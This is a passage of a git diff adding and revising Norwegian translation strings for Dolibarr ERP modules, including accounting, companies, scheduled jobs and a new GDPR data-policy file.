      +AlreadyPrinted=Allerede skrevet ut +HideCategories=Skjul kategorier +HideStockOnLine=Skjul lager på nettet +ShowOnlyProductInStock=Vis varer på lager +ShowCategoryDescription=Vis kategoribeskrivelse +ShowProductReference=Vis referanse til produkter +UsePriceHT=Bruk pris eks. MVA og ikke pris ink. MVA +TerminalName=Terminal %s +TerminalNameDesc=Terminalnavn diff --git a/htdocs/langs/nb_NO/categories.lang b/htdocs/langs/nb_NO/categories.lang index f0e6d4284cc..dc2e78c5ea9 100644 --- a/htdocs/langs/nb_NO/categories.lang +++ b/htdocs/langs/nb_NO/categories.lang @@ -10,13 +10,13 @@ modify=endre Classify=Klassifiser CategoriesArea=Merker/Kategorier-område ProductsCategoriesArea=Område for vare/tjeneste etiketter/kategorier -SuppliersCategoriesArea=Vendor tags/categories area -CustomersCategoriesArea=Customer tags/categories area -MembersCategoriesArea=Member tags/categories area -ContactsCategoriesArea=Contact tags/categories area +SuppliersCategoriesArea=Område for Leverandøretiketter/kategorier +CustomersCategoriesArea=Kunde tags/kategorier område +MembersCategoriesArea=Område for medlemstags/kategorier +ContactsCategoriesArea=Kontakt tags/kategorier område AccountsCategoriesArea=Bankkonto etikett/kategorier område ProjectsCategoriesArea=Prosjekt tags/kategorier område -UsersCategoriesArea=User tags/categories area +UsersCategoriesArea=Område for brukertagger/kategorier SubCats=Underkategorier CatList=Liste over merker/kategorier CatListAll=Liste over etiketter/kategorier (alle typer) @@ -42,6 +42,7 @@ MemberHasNoCategory=Dette medlemmet har ikke noen merker/kategorier ContactHasNoCategory=Denne kontakten har ingen merker/kategorier ProjectHasNoCategory=Dette prosjekter er ikke i noen merker/kategorier ClassifyInCategory=Legg til i merke/kategori +RemoveCategory=Fjern kategori NotCategorized=Uten merke/kategori CategoryExistsAtSameLevel=Denne kategorien finnes allerede med denne referansen ContentsVisibleByAllShort=Innhold synlig for alle @@ -67,6 +68,7 @@ StockCategoriesShort=Lager etiketter/kategorier ThisCategoryHasNoItems=Denne kategorien inneholder ingen artikler. CategId=Merke/kategori-ID ParentCategory=Overordnet etikett/kategori +ParentCategoryID=ID for overordnet tag/kategori ParentCategoryLabel=Merke for overordnet etikett/kategori CatSupList=Liste over leverandøretiketter/kategorier CatCusList=Liste over kunders/prospekters etiketter/kategorier @@ -86,16 +88,18 @@ DeleteFromCat=Fjern fra merker/kategorier ExtraFieldsCategories=Komplementære attributter CategoriesSetup=Oppsett av merker/kategorier CategorieRecursiv=Automatisk lenke til overordnet merke/kategori -CategorieRecursivHelp=Hvis alternativet er på, når du legger til et produkt i en underkategori, vil produktet også bli lagt til i overordnet kategori. +CategorieRecursivHelp=Hvis alternativet er på, vil objektet også bli lagt til i de overordnede kategoriene når du legger til et objekt i en underkategori. AddProductServiceIntoCategory=Legg til følgende vare/tjeneste AddCustomerIntoCategory=Tilordne kategori til kunde AddSupplierIntoCategory=Tilordne kategori til leverandør -AssignCategoryTo=Assign category to +AssignCategoryTo=Tilordne kategori til ShowCategory=Vis merke/kategori ByDefaultInList=Som standard i liste ChooseCategory=Velg kategori StocksCategoriesArea=Varehuskategorier +TicketsCategoriesArea=Billettkategorier ActionCommCategoriesArea=Arrangementskategorier WebsitePagesCategoriesArea=Side-Container Kategorier KnowledgemanagementsCategoriesArea=KM artikkel Kategorier -UseOrOperatorForCategories=Use 'OR' operator for categories +UseOrOperatorForCategories=Bruk 'ELLER'-operator for kategorier +AddObjectIntoCategory=Legg til objekt i kategori diff --git a/htdocs/langs/nb_NO/commercial.lang b/htdocs/langs/nb_NO/commercial.lang index 9914a8c11a4..f64378bd1d4 100644 --- a/htdocs/langs/nb_NO/commercial.lang +++ b/htdocs/langs/nb_NO/commercial.lang @@ -74,8 +74,16 @@ StatusProsp=Prospect status DraftPropals=Utkast kommersielle tilbud NoLimit=Ingen grense ToOfferALinkForOnlineSignature=Link for online signatur -WelcomeOnOnlineSignaturePage=Velkommen til siden for å godta tilbud fra %s -ThisScreenAllowsYouToSignDocFrom=Denne siden lar deg godta og signere eller avvise et tilbud -ThisIsInformationOnDocumentToSign=Dette er informasjon på dokumentet for å godta eller avvise +WelcomeOnOnlineSignaturePageProposal=Velkommen til siden for å godta tilbud fra %s +WelcomeOnOnlineSignaturePageContract=Velkommen til %s kontrakts-PDF-signeringsside +WelcomeOnOnlineSignaturePageFichinter=Velkommen til %s Intervention PDF-signeringsside +ThisScreenAllowsYouToSignDocFromProposal=Denne siden lar deg godta og signere eller avvise et tilbud +ThisScreenAllowsYouToSignDocFromContract=Denne skjermen lar deg signere kontrakt i PDF-format online. +ThisScreenAllowsYouToSignDocFromFichinter=Denne skjermen lar deg signere intervensjon på PDF-format online. +ThisIsInformationOnDocumentToSignProposal=Dette er informasjon på dokumentet for å godta eller avvise +ThisIsInformationOnDocumentToSignContract=Dette er informasjon om kontrakten som skal signeres +ThisIsInformationOnDocumentToSignFichinter=Dette er informasjon om intervensjon som skal signeres SignatureProposalRef=Signatur på tilbud %s +SignatureContractRef=Signatur på kontrakt %s +SignatureFichinterRef=Signatur på intervensjon %s FeatureOnlineSignDisabled=Funksjon for online signering deaktivert eller dokument generert før funksjonen ble aktivert diff --git a/htdocs/langs/nb_NO/companies.lang b/htdocs/langs/nb_NO/companies.lang index 6e92a231b3f..52a29d445af 100644 --- a/htdocs/langs/nb_NO/companies.lang +++ b/htdocs/langs/nb_NO/companies.lang @@ -47,33 +47,33 @@ Subsidiaries=Datterselskaper ReportByMonth=Rapport per måned ReportByCustomers=Rapport per kunde ReportByThirdparties=Rapporter per tredjepart -ReportByQuarter=Report per rate +ReportByQuarter=Rapport per takst CivilityCode=Civility code (ikke i Norge) RegisteredOffice=Registered office (ikke i Norge) Lastname=Etternavn Firstname=Fornavn RefEmployee=Ansatt referanse -NationalRegistrationNumber=National registration number +NationalRegistrationNumber=Nasjonalt registreringsnummer PostOrFunction=Stilling UserTitle=Tittel NatureOfThirdParty=Tredjeparts art NatureOfContact=Kontaktens art Address=Adresse State=Fylke(delstat) -StateId=State ID +StateId=Stats-ID StateCode=Stat-/provinskode StateShort=Stat Region=Region Region-State=Region - Stat Country=Land CountryCode=Landskode -CountryId=Country ID +CountryId=Land-ID Phone=Telefon PhoneShort=Telefon Skype=Skype Call=Ring Chat=Chat -PhonePro=Bus. phone +PhonePro=Firmatelefon PhonePerso=Tlf. privat PhoneMobile=Tlf. mobil No_Email=Avvis masse-e-post @@ -162,16 +162,16 @@ ProfId3CL=- ProfId4CL=- ProfId5CL=- ProfId6CL=- -ProfId1CM=Id. prof. 1 (Trade Register) -ProfId2CM=Id. prof. 2 (Taxpayer No.) -ProfId3CM=Id. prof. 3 (No. of creation decree) -ProfId4CM=Id. prof. 4 (Deposit certificate No.) -ProfId5CM=Id. prof. 5 (Others) +ProfId1CM=ID. prof. 1 (handelsregister) +ProfId2CM=ID. prof. 2 (skattyter nr.) +ProfId3CM=ID. prof. 3 (Nr. opprettelsesdekret) +ProfId4CM=ID. prof. 4 (Innskuddsbevis nr.) +ProfId5CM=ID. prof. 5 (Annet) ProfId6CM=- ProfId1ShortCM=Handelsregister -ProfId2ShortCM=Taxpayer No. -ProfId3ShortCM=No. of creation decree -ProfId4ShortCM=Deposit certificate No. +ProfId2ShortCM=Skattebetaler nr. +ProfId3ShortCM=Ant. opprettelsesdekret +ProfId4ShortCM=Innskuddsbevis nr. ProfId5ShortCM=Andre ProfId6ShortCM=- ProfId1CO=Prof ID 1 (RUT) @@ -291,7 +291,7 @@ ProfId6RU=- ProfId1UA=Prof Id 1 (EDRPOU) ProfId2UA=Prof Id 2 (DRFO) ProfId3UA=Prof Id 3 (INN) -ProfId4UA=Prof Id 4 (Certificate) +ProfId4UA=Prof Id 4 (sertifikat) ProfId5UA=Prof Id 5 (RNOKPP) ProfId6UA=Prof Id 6 (TRDPAU) ProfId1DZ=RC @@ -312,12 +312,12 @@ CustomerRelativeDiscountShort=Relativ rabatt CustomerAbsoluteDiscountShort=Absolutt rabatt CompanyHasRelativeDiscount=Denne kunden har en rabatt på %s%% CompanyHasNoRelativeDiscount=Denne kunden har ingen relative rabatter angitt -HasRelativeDiscountFromSupplier=Du har en standardrabatt på %s%% fra denne leverandøren -HasNoRelativeDiscountFromSupplier=Du har ingen standard relativ rabatt fra denne leverandøren +HasRelativeDiscountFromSupplier=Du har en standardrabatt på %s%% hos denne leverandøren +HasNoRelativeDiscountFromSupplier=Ingen standard relativ rabatt hos denne leverandøren CompanyHasAbsoluteDiscount=Denne kunden har rabatter tilgjengelig (kreditnotaer eller nedbetalinger) for %s %s CompanyHasDownPaymentOrCommercialDiscount=Denne kunden har rabatt tilgjengelig (tilbud, nedbetalinger) for %s%s CompanyHasCreditNote=Denne kunden har fortsatt kreditnotaer for %s %s -HasNoAbsoluteDiscountFromSupplier=Du har ingen rabatt tilgjengelig fra denne leverandøren +HasNoAbsoluteDiscountFromSupplier=Ingen rabatt/kreditt tilgjengelig fra denne leverandøren HasAbsoluteDiscountFromSupplier=Du har rabatter tilgjengelig (kreditnotaer eller nedbetalinger) for %s %s fra denne leverandøren HasDownPaymentOrCommercialDiscountFromSupplier=Du har rabatter tilgjengelig (kommersielle, nedbetalinger) for %s %s fra denne leverandøren HasCreditNoteFromSupplier=Du har kreditnotater for %s %s fra denne leverandøren @@ -444,7 +444,7 @@ AddAddress=Legg til adresse SupplierCategory=Leverandør kategori JuridicalStatus200=Uavhengig DeleteFile=Slett fil -ConfirmDeleteFile=Er du sikker på at du vil slette denne filen? +ConfirmDeleteFile=Er du sikker på at du vil slette denne filen %s ? AllocateCommercial=Tildelt salgsrepresentant Organization=Organisasjon FiscalYearInformation=Regnskapsår @@ -498,3 +498,8 @@ RestOfEurope=Resten av Europa (EU) OutOfEurope=Ut av Europa (EU) CurrentOutstandingBillLate=Nåværende utestående regning sen BecarefullChangeThirdpartyBeforeAddProductToInvoice=Vær forsiktig, avhengig av varepris-innstillingene dine, bør du endre tredjepart før du legger produktet til POS. +EmailAlreadyExistsPleaseRewriteYourCompanyName=epost eksisterer allerede, skriv om firmanavnet ditt +TwoRecordsOfCompanyName=Det finnes mer enn én post for dette selskapet, vennligst kontakt oss for å fullføre partnerskapsforespørselen din +CompanySection=Selskapsseksjon +ShowSocialNetworks=Vis sosiale nettverk +HideSocialNetworks=Skjul sosiale nettverk diff --git a/htdocs/langs/nb_NO/compta.lang b/htdocs/langs/nb_NO/compta.lang index ea6f3223509..a3bb0f6e765 100644 --- a/htdocs/langs/nb_NO/compta.lang +++ b/htdocs/langs/nb_NO/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=Balanse (før) Balance=Balanse Debit=Debet Credit=Kreditt +AccountingDebit=Debet +AccountingCredit=Kredit Piece=Regnskapsdokument AmountHTVATRealReceived=Netto samlet AmountHTVATRealPaid=Netto betalt @@ -172,13 +174,13 @@ SeeReportInInputOutputMode=Se %sanalyse av betalinger%s for en beregnin SeeReportInDueDebtMode=Se %sanalyse av registrerte dokumenter%s for en beregning basert på kjente registrerte dokumenter selv om de ennå ikke er regnskapsført SeeReportInBookkeepingMode=Se %sanalyse av hovedboktabell%s for en rapport basert på hovedboktabel RulesAmountWithTaxIncluded=- Viste beløp er inkludert alle avgifter -RulesAmountWithTaxExcluded=- Amounts of invoices shown are with all taxes excluded -RulesResultDue=- It includes all invoices, expenses, VAT, donations, salaries, whether they are paid or not.
      - It is based on the billing date of invoices and on the due date for expenses or tax payments. For salaries, the date of end of period is used. -RulesResultInOut=- It includes the real payments made on invoices, expenses, VAT and salaries.
      - It is based on the payment dates of the invoices, expenses, VAT, donations and salaries. +RulesAmountWithTaxExcluded=- Fakturabeløpene som vises er ekskludert alle avgifter +RulesResultDue=– Det inkluderer alle fakturaer, utgifter, MVA, donasjoner, lønn, enten de er betalt eller ikke.
      - Den er basert på faktureringsdatoen for fakturaer og på forfallsdatoen for utgifter eller skattebetalinger. For lønn brukes sluttdato for perioden. +RulesResultInOut=– Det inkluderer de reelle innbetalingene på fakturaer, utgifter, MVA og lønn.
      - Det er basert på betalingsdatoene for fakturaer, utgifter, MVA, donasjoner og lønn. RulesCADue=- Inkluderer kundens forfalte fakturaer enten de er betalt eller ikke.
      - Basert på faktureringsdato for disse fakturaene.
      RulesCAIn=- Inkluderer alle betalinger av fakturaer mottatt fra klienter.
      - Er basert på betalingsdatoen for disse fakturaene
      RulesCATotalSaleJournal=Den inkluderer alle kredittlinjer fra salgsjournalen. -RulesSalesTurnoverOfIncomeAccounts=It includes (credit - debit) of lines for product accounts in group INCOME +RulesSalesTurnoverOfIncomeAccounts=Den inkluderer (kreditt - debet) av linjer for varekontoer i gruppen INNTEKT RulesAmountOnInOutBookkeepingRecord=Inkluderer poster i hovedboken med regnskapskontoer som har gruppen "UTGIFTER" eller "INNTEKT" RulesResultBookkeepingPredefined=Inkluderer poster i hovedboken med regnskapskontoer som har gruppen "UTGIFTER" eller "INNTEKT" RulesResultBookkeepingPersonalized=Viser poster i hovedboken med regnskapskontoer gruppert etter tilpassede grupper @@ -191,25 +193,25 @@ LT1ReportByCustomers=Rapporter MVA-2 etter tredjepart LT2ReportByCustomers=Rapporter MVA-3 etter tredjepart LT1ReportByCustomersES=Rapport etter tredjepart RE LT2ReportByCustomersES=Rapport over tredjepart IRPF -VATReport=Sales tax report -VATReportByPeriods=Sales tax report by period -VATReportByMonth=Sales tax report by month +VATReport=MVA-rapport +VATReportByPeriods=Omsetningsavgiftsrapport etter periode +VATReportByMonth=MVA-rapport pr. måned VATReportByRates=MVA-rapport etter sats VATReportByThirdParties=MVA-rapport etter tredjepart VATReportByCustomers=MVA-rapport etter kunde VATReportByCustomersInInputOutputMode=Rapport over innhentet og betalt MVA etter kunde -VATReportByQuartersInInputOutputMode=Report by Sales tax rate of the tax collected and paid -VATReportShowByRateDetails=Show details of this rate +VATReportByQuartersInInputOutputMode=Rapport etter MVA-sats for innkrevd og betalt MVA +VATReportShowByRateDetails=Vis detaljer om denne prisen LT1ReportByQuarters=Rapporter MVA-2 etter sats LT2ReportByQuarters=Rapporter MVA-3 etter sats LT1ReportByQuartersES=Rapport etter RE sats LT2ReportByQuartersES=Rapport etter IRPF sats -SeeVATReportInInputOutputMode=See report %sVAT collection%s for a standard calculation -SeeVATReportInDueDebtMode=See report %sVAT on debit%s for a calculation with an option on the invoicing -RulesVATInServices=- For services, the report includes the VAT of payments actually received or paid on the basis of the date of payment. -RulesVATInProducts=- For material assets, the report includes the VAT on the basis of the date of payment. -RulesVATDueServices=- For services, the report includes VAT of due invoices, paid or not, based on the invoice date. -RulesVATDueProducts=- For material assets, the report includes the VAT of due invoices, based on the invoice date. +SeeVATReportInInputOutputMode=Se rapport %sMVA-innkreving%s for en standardberegning +SeeVATReportInDueDebtMode=Se rapport %sMVA på debit%s for en beregning med opsjon på faktureringen +RulesVATInServices=- For tjenester inkluderer rapporten MVA av betalinger som faktisk er mottatt eller betalt på grunnlag av betalingsdato. +RulesVATInProducts=- For materielle aktiva inkluderer rapporten MVA på grunnlag av betalingsdato. +RulesVATDueServices=- For tjenester inkluderer rapporten MVA av forfalte fakturaer, betalte eller ikke, basert på fakturadato. +RulesVATDueProducts=- For materielle aktiva inkluderer rapporten MVA av forfalte fakturaer, basert på fakturadato. OptionVatInfoModuleComptabilite=Merk: For materielle verdier, bør man bruke leveringsdato å være mer rettferdig. ThisIsAnEstimatedValue=Dette er en forhåndsvisning, basert på forretningshendelser og ikke fra den endelige hovedbokstabellen, så de endelige resultatene kan avvike fra denne forhåndsvisningsverdien PercentOfInvoice=%%/Faktura @@ -234,7 +236,7 @@ Pcg_subtype=Kontoplan undertype InvoiceLinesToDispatch=Fakturalinjer for utsendelse ByProductsAndServices=Etter varer og tjenester RefExt=Ekstern referanse -ToCreateAPredefinedInvoice=To create a template invoice, create a standard invoice, then, without validating it, click on button "%s". +ToCreateAPredefinedInvoice=For å lage en fakturamal, lag en standardfaktura, og klikk deretter på knappen "%s", uten å validere den. LinkedOrder=Lenke til ordre Mode1=Metode 1 Mode2=Metode 2 @@ -244,16 +246,16 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=Rapporten om omsetning samle TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=Rapporten om omsetning samlet per MVA-sats er ikke tilgjengelig. Denne rapporten er kun tilgjengelig for omsetning fakturert. CalculationMode=Kalkuleringsmodus AccountancyJournal=Regnskapskode journal -ACCOUNTING_VAT_SOLD_ACCOUNT=Regnskapskonto som standard for MVA ved salg (brukt hvis ikke definert i MVA-ordbokoppsett) -ACCOUNTING_VAT_BUY_ACCOUNT=Regnskapskonto som standard for MVA ved kjøp (brukt hvis ikke definert i MVA-ordbokoppsett) -ACCOUNTING_VAT_PAY_ACCOUNT=Standard regnskapskonto for MVA.betaling -ACCOUNTING_ACCOUNT_CUSTOMER=Regnskapskonto brukt til kunde-tredjepart +ACCOUNTING_VAT_SOLD_ACCOUNT=Konto (fra kontoplanen) som skal brukes som standardkonto for MVA på salg (brukes hvis det ikke er definert i MVA-ordbokoppsettet) +ACCOUNTING_VAT_BUY_ACCOUNT=Konto (fra kontoplanen) som skal brukes som standardkonto for MVA på kjøp (brukes hvis det ikke er definert i MVA-ordbokoppsettet) +ACCOUNTING_VAT_PAY_ACCOUNT=Konto (fra kontoplanen) som skal brukes som standardkonto for betaling av MVA +ACCOUNTING_ACCOUNT_CUSTOMER=Konto (fra kontoplanen) brukt for "kunde" tredjeparter ACCOUNTING_ACCOUNT_CUSTOMER_Desc=Den dedikerte regnskapskontoen som er definert på tredjepartskort, vil kun bli brukt til subledger. Denne vil bli brukt til hovedboken og som standardverdi av Subledger-regnskap hvis dedikert kundekonto på tredjepart ikke er definert. -ACCOUNTING_ACCOUNT_SUPPLIER=Regnskapskonto brukt til leverandør-tredjepart +ACCOUNTING_ACCOUNT_SUPPLIER=Konto (fra kontoplanen) brukt for "leverandørens" tredjeparter ACCOUNTING_ACCOUNT_SUPPLIER_Desc=Den dedikerte regnskapskonto som er definert på tredjepartskort, vil kun bli brukt til subledger. Denne vil bli brukt til hovedboken og som standardverdi for Subledger-regnskap hvis dedikert leverandørkonto på tredjepart ikke er definert. ConfirmCloneTax=Bekreft kloning av skatt/avgiftsbetaling ConfirmCloneVAT=Bekreft kloning av MVA-deklarasjon -ConfirmCloneSalary=Confirm the clone of a salary +ConfirmCloneSalary=Bekreft kloningen av en lønn CloneTaxForNextMonth=Klon for neste måned SimpleReport=Enkel rapport AddExtraReport=Ekstrarapporter (legg til internasjonale og nasjonale kunderapporter) @@ -284,7 +286,7 @@ PurchaseTurnoverCollected=Kjøpsomsetning mottatt RulesPurchaseTurnoverDue=- Inkluderer leverandørens forfalte fakturaer enten de er betalt eller ikke.
      - Basert på fakturadato for disse fakturaene.
      RulesPurchaseTurnoverIn=- Inkluderer alle leverandørbetalinger som er utført.
      - Basert på betalingsdatoen for disse fakturaene
      RulesPurchaseTurnoverTotalPurchaseJournal=Inkluderer alle debetlinjer fra kjøpsjournalen. -RulesPurchaseTurnoverOfExpenseAccounts=It includes (debit - credit) of lines for product accounts in group EXPENSE +RulesPurchaseTurnoverOfExpenseAccounts=Den inkluderer (debet - kredit) av linjer for produktkontoer i gruppen KOSTNAD ReportPurchaseTurnover=Kjøpsomsetning fakturert ReportPurchaseTurnoverCollected=Kjøpsomsetning mottatt IncludeVarpaysInResults = Inkluder forskjellige betalinger i rapportene @@ -298,5 +300,6 @@ InvoiceNotLate30Days = Skal innkreves (> 30 dager) InvoiceToPay=Å betale (< 15 dager) InvoiceToPay15Days=Å betale (15 til 30 dager) InvoiceToPay30Days=Å betale (> 30 dager) -ConfirmPreselectAccount=Preselect accountancy code -ConfirmPreselectAccountQuestion=Are you sure you want to preselect the %s selected lines with this accountancy code ? +ConfirmPreselectAccount=Forhåndsvelg regnskapskode +ConfirmPreselectAccountQuestion=Er du sikker på at du vil forhåndsvelge de %s valgte linjene med denne regnskapskoden? +AmountPaidMustMatchAmountOfDownPayment=Innbetalt beløp må samsvare med beløpet for nedbetaling diff --git a/htdocs/langs/nb_NO/contracts.lang b/htdocs/langs/nb_NO/contracts.lang index 7529f23c7f4..6848b200627 100644 --- a/htdocs/langs/nb_NO/contracts.lang +++ b/htdocs/langs/nb_NO/contracts.lang @@ -80,7 +80,7 @@ ConfirmDeleteContractLine=Er du sikker på at du vil slette denne kontraktslinje MoveToAnotherContract=Flytt tjeneste til annen kontrakt ConfirmMoveToAnotherContract=Jeg bekrefter at jeg hat valgt ny målkontrakt og at jeg ønsker å flytte denne tjenesten inn i den nye kontrakten. ConfirmMoveToAnotherContractQuestion=Velg hvilken kontrakt (tilhørende samme tredjepart) du vil flytte denne tjenesten til. -PaymentRenewContractId=Forny kontraktlinje (antall %s) +PaymentRenewContractId=Forny kontrakt %s (tjeneste %s) ExpiredSince=Utløpsdato NoExpiredServices=Ingen utgåtte, aktive tjenester ListOfServicesToExpireWithDuration=Liste over tjenester som utløper innen %s dager diff --git a/htdocs/langs/nb_NO/cron.lang b/htdocs/langs/nb_NO/cron.lang index 431388bc0ed..30e4d9404b3 100644 --- a/htdocs/langs/nb_NO/cron.lang +++ b/htdocs/langs/nb_NO/cron.lang @@ -26,7 +26,7 @@ CronCommand=Kommando CronList=Planlagte jobber CronDelete=Slett planlagte jobber CronConfirmDelete=Er du sikker på at du vil slette disse planlagte jobbene? -CronExecute=Start planlagt jobb +CronExecute=Start nå CronConfirmExecute=Er du sikker på at du vil kjøre disse planlagte jobbene nå? CronInfo=Planlagt jobb -modul gjør det mulig å planlegge jobber for å utføre dem automatisk. Jobber kan også startes manuelt. CronTask=Jobb @@ -58,7 +58,7 @@ CronNote=Kommentar CronFieldMandatory=Feltene %s er obligatoriske CronErrEndDateStartDt=Sluttdato kan ikke være før startdato StatusAtInstall=Status for modulinstallasjon -CronStatusActiveBtn=Tidsplan +CronStatusActiveBtn=Aktiver planlegging CronStatusInactiveBtn=Deaktiver CronTaskInactive=Denne jobben er deaktivert (ikke planlagt) CronId=ID @@ -84,10 +84,17 @@ MakeLocalDatabaseDumpShort=Backup av lokal database MakeLocalDatabaseDump=Opprett en lokal database dump. Parametrene er: komprimering ('gz' eller 'bz' eller 'ingen'), backup type ('mysql', 'pgsql', 'auto'), 1, 'auto' eller filnavn for å bygge, antall backupfiler som skal beholdes MakeSendLocalDatabaseDumpShort=Send sikkerhetskopi av lokal database MakeSendLocalDatabaseDump=Send sikkerhetskopi av lokal database via e-post. Parametrene er: til, fra, emne, melding, filnavn (navn på fil sendt), filter ('sql' kun for sikkerhetskopiering av database) +BackupIsTooLargeSend=Beklager, siste sikkerhetskopifil er for stor til å sendes via e-post +CleanUnfinishedCronjobShort=Rengjør uferdig cronjob +CleanUnfinishedCronjob=Clean cronjob sitter fast i behandling når prosessen ikke lenger kjører WarningCronDelayed=NB, for ytelsesformål, uansett neste utførelsesdato for aktiverte jobber, kan jobbene dine forsinkes til maksimalt %s timer før de kjøres. DATAPOLICYJob=Datarenser og anonymiserer JobXMustBeEnabled=Jobb %s må være aktivert +EmailIfError=Epost for advarsel om feil +ErrorInBatch=Feil ved kjøring av jobben %s + # Cron Boxes LastExecutedScheduledJob=Sist utførte planlagte jobb NextScheduledJobExecute=Neste planlagte jobb som skal utføres NumberScheduledJobError=Antall planlagte jobber med feil +NumberScheduledJobNeverFinished=Antall planlagte jobber som aldri ble fullført diff --git a/htdocs/langs/nb_NO/datapolicy.lang b/htdocs/langs/nb_NO/datapolicy.lang new file mode 100644 index 00000000000..f22d544cc4e --- /dev/null +++ b/htdocs/langs/nb_NO/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Retningslinjer for personvern +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Modul for å administrere personvern (samsvar med GDPR) + +# +# Administration page +# +datapolicySetup = Modul for oppsett av retningslinjer for personvern +Deletion = Sletting av data +datapolicySetupPage = Avhengig av lovene i landene dine (eksempel artikkel 5 i GDPR), må personopplysninger oppbevares i en periode som ikke overstiger det som er nødvendig for formålene de ble samlet inn for, unntatt for arkivformål.
      Slettingen vil bli gjort automatisk etter en viss varighet uten hendelse (varigheten som du vil ha angitt nedenfor). +NB_MONTHS = %s måneder +ONE_YEAR = 1 år +NB_YEARS = %s år +DATAPOLICY_TIERS_CLIENT = Kunde +DATAPOLICY_TIERS_PROSPECT = Prospekt +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospekt/kunde +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Ikke prospekt/ikke kunde +DATAPOLICY_TIERS_FOURNISSEUR = Leverandør +DATAPOLICY_CONTACT_CLIENT = Kunde +DATAPOLICY_CONTACT_PROSPECT = Prospekt +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospekt/kunde +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Ikke prospekt/ikke kunde +DATAPOLICY_CONTACT_FOURNISSEUR = Leverandør +DATAPOLICY_ADHERENT = Medlem +DATAPOLICY_Tooltip_SETUP = Type kontakt - Angi dine valg for hver type. +DATAPOLICYMail = E-postoppsett +DATAPOLICYSUBJECTMAIL = Emne for e-post +DATAPOLICYCONTENTMAIL = Innholdet i e-posten +DATAPOLICYSUBSITUTION = Du kan bruke følgende variabler i e-posten din (LINKACCEPT lar deg lage en lenke som registrerer avtalen til personen, LINKREFUSED gjør det mulig å registrere avslaget til personen): +DATAPOLICYACCEPT = Melding etter avtale +DATAPOLICYREFUSE = Melding etter uenighet +SendAgreementText = Du kan sende en GDPR-e-post til alle dine relevante kontakter (som ennå ikke har mottatt en e-post og som du ikke har registrert noe om deres GDPR-avtale). For å gjøre dette, bruk følgende knapp. +SendAgreement = Send e-poster +AllAgreementSend = Alle e-poster er sendt +TXTLINKDATAPOLICYACCEPT = Tekst for lenken "avtale" +TXTLINKDATAPOLICYREFUSE = Tekst for lenken "uenighet" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR: Behandling av personopplysninger +DATAPOLICY_consentement = Samtykke innhentet for behandling av personopplysninger +DATAPOLICY_opposition_traitement = Motsetter seg behandling av personopplysninger +DATAPOLICY_opposition_prospection = Motsetter seg behandling av personopplysninger i forbindelse med prospektering + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymiser en tredjepart +DATAPOLICY_POPUP_ANONYME_TEXTE = Du kan ikke slette denne kontakten fra Dolibarr fordi det er relaterte elementer. I samsvar med GDPR vil du gjøre alle disse dataene anonyme for å respektere dine forpliktelser. Vil du fortsette? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portabilitet GDPR +DATAPOLICY_PORTABILITE_TITLE = Eksport av personopplysninger +DATAPOLICY_PORTABILITE_CONFIRMATION = Du vil eksportere personopplysningene til denne kontakten. Er du sikker ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymisert %s + +# V2 +DATAPOLICYReturn = GDPR-validering +DATAPOLICY_date = Dato for avtale/uenighet GDPR +DATAPOLICY_send = Dato for sending av avtale-e-post +DATAPOLICYReturn = GDPR-validering +DATAPOLICY_SEND = Send GDPR-e-post +MailSent = E-post har blitt sendt + +# ERROR +ErrorSubjectIsRequired = Feil: Emnet for e-post er obligatorisk. Angi det i moduloppsettet +=På grunn av et teknisk problem kunne vi ikke registrere valget ditt. Det beklager vi. Kontakt oss for å sende ditt valg. +NUMBER_MONTH_BEFORE_DELETION = Antall måneder før sletting diff --git a/htdocs/langs/nb_NO/dict.lang b/htdocs/langs/nb_NO/dict.lang index 68218bb0ba4..bf9c185fae2 100644 --- a/htdocs/langs/nb_NO/dict.lang +++ b/htdocs/langs/nb_NO/dict.lang @@ -247,10 +247,13 @@ CountryJE=Jersey CountryME=Montenegro CountryBL=Saint-Barthélemy CountryMF=Saint Martin +CountryXK=Kosovo ##### Civilities ##### CivilityMME=Fru +CivilityMMEShort=Fru CivilityMR=Herr +CivilityMRShort=Herr CivilityMLE=Frk. CivilityMTRE=Master CivilityDR=Doktor diff --git a/htdocs/langs/nb_NO/ecm.lang b/htdocs/langs/nb_NO/ecm.lang index afd0af2e340..a6e848b82dd 100644 --- a/htdocs/langs/nb_NO/ecm.lang +++ b/htdocs/langs/nb_NO/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=Manuell mappe ECMSectionAuto=Automatisk mappe ECMSectionsManual=Manuell mappestruktur ECMSectionsAuto=Automatisk mappestruktur +ECMSectionsMedias=Mediatre ECMSections=Mapper ECMRoot=ECM rot ECMNewSection=Ny mappe @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=Antall filer i undermapper ECMCreationUser=Opprettet av ECMArea=DMS/ECM-område ECMAreaDesc=DMS / ECM (Document Management System / Electronic Content Management) -området lar deg lagre, dele og raskt søke alle slags dokumenter i Dolibarr. -ECMAreaDesc2=* Automatiske mapper fylles automatisk når du legger til dokumenter fra et elementkort.
